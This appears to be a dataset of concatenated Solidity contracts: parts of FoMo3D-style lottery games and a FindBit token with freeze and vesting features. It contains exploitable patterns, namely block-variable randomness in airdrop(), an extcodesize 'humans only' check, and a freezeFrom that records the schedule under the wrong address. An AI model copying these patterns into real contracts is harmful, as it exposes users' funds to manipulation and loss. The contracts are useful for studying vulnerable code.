function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = _now.sub(((_keys) / (1000000000000000000)).mul(rndInc_));
else
_newTime = round_[_rID].end.sub(((_keys) / (1000000000000000000)).mul(rndInc_));
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d;
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,946 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
if (_x == 0) {
return 0;
}
z = _x * _y;
assert(z / _x == _y);
return z;
}
function div(uint256 _x, uint256 _y) internal pure returns (uint256) {
return _x / _y;
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_y <= _x);
return _x - _y;
}
function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
z = _x + _y;
assert(z >= _x);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract Erc20Wrapper {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Erc20Wrapper {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from] && _value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) whenNotPaused public returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) whenNotPaused public returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FindBitToken is PausableToken {
string public name = "FindBit.io Token";
string public symbol = "FBIT";
uint8 public decimals = 18;
struct Schedule {
uint256 amount;
uint256 start;
uint256 cliff;
uint256 duration;
uint256 released;
uint256 lastReleased;
}
mapping (address => Schedule) freezed;
event UpdatedTokenInfo(string _newName, string _newSymbol);
event Freeze(address indexed _who, uint256 _value, uint256 _cliff, uint256 _duration);
event Unfreeze(address indexed _who, uint256 _value);
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _who, uint256 _value);
constructor() public {
totalSupply_ = 50000000 * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
emit Transfer(0x0, msg.sender, totalSupply_);
}
function setTokenInfo(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
emit UpdatedTokenInfo(name, symbol);
}
function freezeOf(address _owner) public view returns (uint256) {
return freezed[_owner].amount;
}
function freeze(uint256 _value, uint256 _duration) public {
require(_value > 0 && _value <= balances[msg.sender]);
require(_duration > 60);
balances[msg.sender] = balances[msg.sender].sub(_value);
uint256 timestamp = block.timestamp;
freezed[msg.sender] = Schedule({
amount: _value,
start: timestamp,
cliff: timestamp,
duration: _duration,
released: 0,
lastReleased: timestamp
});
emit Freeze(msg.sender, _value, 0, _duration);
}
function freezeFrom(address _who, uint256 _value, uint256 _cliff, uint256 _duration) onlyOwner public {
require(_who != address(0));
require(_value > 0 && _value <= balances[_who]);
require(_cliff <= _duration);
balances[_who] = balances[_who].sub(_value);
uint256 timestamp = block.timestamp;
freezed[msg.sender] = Schedule({
amount: _value,
start: timestamp,
cliff: timestamp.add(_cliff),
duration: _duration,
released: 0,
lastReleased: timestamp.add(_cliff)
});
emit Freeze(_who, _value, _cliff, _duration);
}
function unfreeze(address _who) public returns (uint256) {
require(_who != address(0));
Schedule storage schedule = freezed[_who];
uint256 timestamp = block.timestamp;
require(schedule.lastReleased.add(60) < timestamp);
require(schedule.amount > 0 && timestamp > schedule.cliff);
uint256 unreleased = 0;
if (timestamp >= schedule.start.add(schedule.duration)) {
unreleased = schedule.amount;
} else {
unreleased = (schedule.amount.add(schedule.released)).mul(timestamp.sub(schedule.start)).div(schedule.duration).sub(schedule.released);
}
require(unreleased > 0);
schedule.released = schedule.released.add(unreleased);
schedule.lastReleased = timestamp;
schedule.amount = schedule.amount.sub(unreleased);
balances[_who] = balances[_who].add(unreleased);
emit Unfreeze(_who, unreleased);
return unreleased;
}
function mint(address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value > 0);
totalSupply_ = totalSupply_.add(_value);
balances[_to] = balances[_to].add(_value);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
return true;
}
function burn(address _who, uint256 _value) onlyOwner public returns (bool success) {
require(_who != address(0));
require(_value > 0 && _value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
return true;
}
} | 0 | 739 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents { }
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee52e1563f25e4f638052fb971a7198b63828a43);
string constant public name = "imfomo Long Official";
string constant public symbol = "imfomo";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 10 minutes;
address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(31,0);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(61,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(15,0);
potSplit_[1] = F3Ddatasets.PotSplit(15,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,0);
potSplit_[3] = F3Ddatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
